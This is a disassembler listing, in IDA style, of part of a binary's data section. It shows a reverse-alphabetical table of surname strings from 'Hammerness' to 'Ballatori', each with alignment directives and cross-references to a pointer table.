aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E3C0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E3BCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E3B8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E3B4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E3B0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E3ACo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E3A8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E3A4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E3A0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E39Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042E398o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E394o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E390o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E38Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E388o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E384o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E380o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E37Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E378o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E374o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E370o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E36Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E368o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E364o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E360o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E35Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E358o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E354o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E350o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E34Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E348o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E344o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042E340o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042E33Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042E338o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042E334o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042E330o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042E32Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042E328o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042E324o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042E320o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042E31Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042E318o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042E314o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042E310o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042E30Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042E308o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042E304o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042E300o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042E2FCo
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042E2F8o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042E2F4o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042E2F0o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042E2ECo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042E2E8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042E2E4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042E2E0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042E2DCo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042E2D8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042E2D4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042E2D0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042E2CCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042E2C8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042E2C4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042E2C0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042E2BCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042E2B8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042E2B4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042E2B0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042E2ACo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042E2A4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042E2A0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042E29Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042E298o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042E294o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042E290o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042E28Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042E288o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042E284o
aFink		db 'Fink',0             ; DATA XREF: ___:0042E280o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042E27Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042E278o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042E274o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042E270o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042E26Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042E268o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042E264o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042E260o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042E25Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042E258o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042E254o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042E250o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042E24Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042E248o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042E244o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042E240o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042E23Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042E238o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042E234o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042E230o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042E22Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042E228o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042E224o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042E220o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042E21Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042E218o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042E214o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042E210o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042E20Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042E208o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042E204o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042E200o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042E1FCo
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042E1F8o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042E1F4o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042E1F0o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042E1ECo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042E1E8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042E1E4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042E1E0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042E1DCo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042E1D8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042E1D4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042E1D0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042E1CCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042E1C8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042E1C4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042E1C0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042E1BCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042E1B8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042E1B4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042E1B0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042E1ACo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042E1A8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042E1A4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042E1A0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042E19Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042E198o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042E194o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042E190o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042E18Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042E188o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042E184o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042E180o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042E17Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042E178o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042E174o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042E170o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042E16Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042E168o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042E164o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042E160o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042E15Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042E158o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042E154o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042E150o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042E148o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042E144o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042E140o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042E13Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042E138o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042E134o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042E130o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042E128o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042E124o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042E120o
aDavid		db 'David',0            ; DATA XREF: ___:0042E11Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042E118o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042E114o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042E110o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042E108o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042E104o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042E100o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042E0FCo
aDaly		db 'Daly',0             ; DATA XREF: ___:0042E0F8o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042E0F4o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042E0F0o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042E0ECo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042E0E8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042E0E4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042E0E0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042E0DCo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042E0D8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042E0D4o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042E0D0o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042E0CCo
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042E0C8o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042E0C4o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042E0C0o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042E0BCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042E0B8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042E0B4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042E0B0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042E0ACo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042E0A8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042E0A4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042E09Co
					; ___:0042E0A0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042E098o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042E094o
aColella	db 'Colella',0          ; DATA XREF: ___:0042E090o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042E08Co
aCoito		db 'Coito',0            ; DATA XREF: ___:0042E088o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042E084o
aClow		db 'Clow',0             ; DATA XREF: ___:0042E080o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042E07Co
aClement	db 'Clement',0          ; DATA XREF: ___:0042E078o
aClark		db 'Clark',0            ; DATA XREF: ___:0042E074o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042E070o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042E06Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042E068o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042E064o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042E060o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042E05Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042E058o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042E054o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042E050o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042E04Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042E048o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042E044o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042E040o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042E03Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042E038o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042E034o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042E030o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042E02Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042E028o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042E024o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042E020o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042E01Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042E018o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042E014o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042E010o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042E00Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042E008o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042E004o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042E000o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DFFCo
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042DFF8o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DFF4o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DFF0o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DFECo
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DFE8o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DFE4o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DFE0o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DFDCo
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DFD8o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DFD4o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DFD0o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DFCCo
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DFC8o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DFC4o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DFC0o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DFBCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DFB8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DFB4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DFB0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DFACo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DFA8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042DFA4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DFA0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DF9Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DF98o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DF94o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DF90o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DF8Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DF88o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DF84o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DF80o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DF7Co
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DF78o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DF74o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DF70o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DF68o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DF64o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DF60o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DF5Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DF58o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DF50o
					; ___:0042DF54o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DF4Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DF48o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DF44o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DF40o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DF3Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DF38o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DF34o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DF30o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DF2Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DF28o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DF24o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DF20o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DF1Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DF18o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DF14o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DF10o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DF0Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DF08o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DF04o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DF00o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DEFCo
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DEF8o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DEF4o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DEF0o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DEECo
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042DEE8o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DEE4o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DEE0o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DEDCo
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DED8o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DED4o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DED0o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DECCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DEC8o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DEC4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DEC0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DEBCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DEB8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DEB4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DEB0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DEACo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DEA8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DEA4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DEA0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DE9Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DE98o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DE94o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DE90o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DE8Co
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DE88o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DE84o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DE80o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DE7Co
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DE78o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DE74o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DE70o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DE6Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DE68o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DE64o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DE60o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DE5Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DE58o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DE54o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DE50o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DE4Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DE48o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DE44o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DE40o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DE3Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DE38o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DE34o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DE30o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DE2Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042DE28o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DE24o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DE20o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DE1Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DE18o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DE14o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DE10o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DE0Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DE08o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DE04o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DE00o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DDFCo
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DDF8o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DDF4o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DDF0o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DDECo
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DDE8o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DDE4o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DDE0o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DDDCo
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DDD8o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DDD0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DDC4o
		align 10h
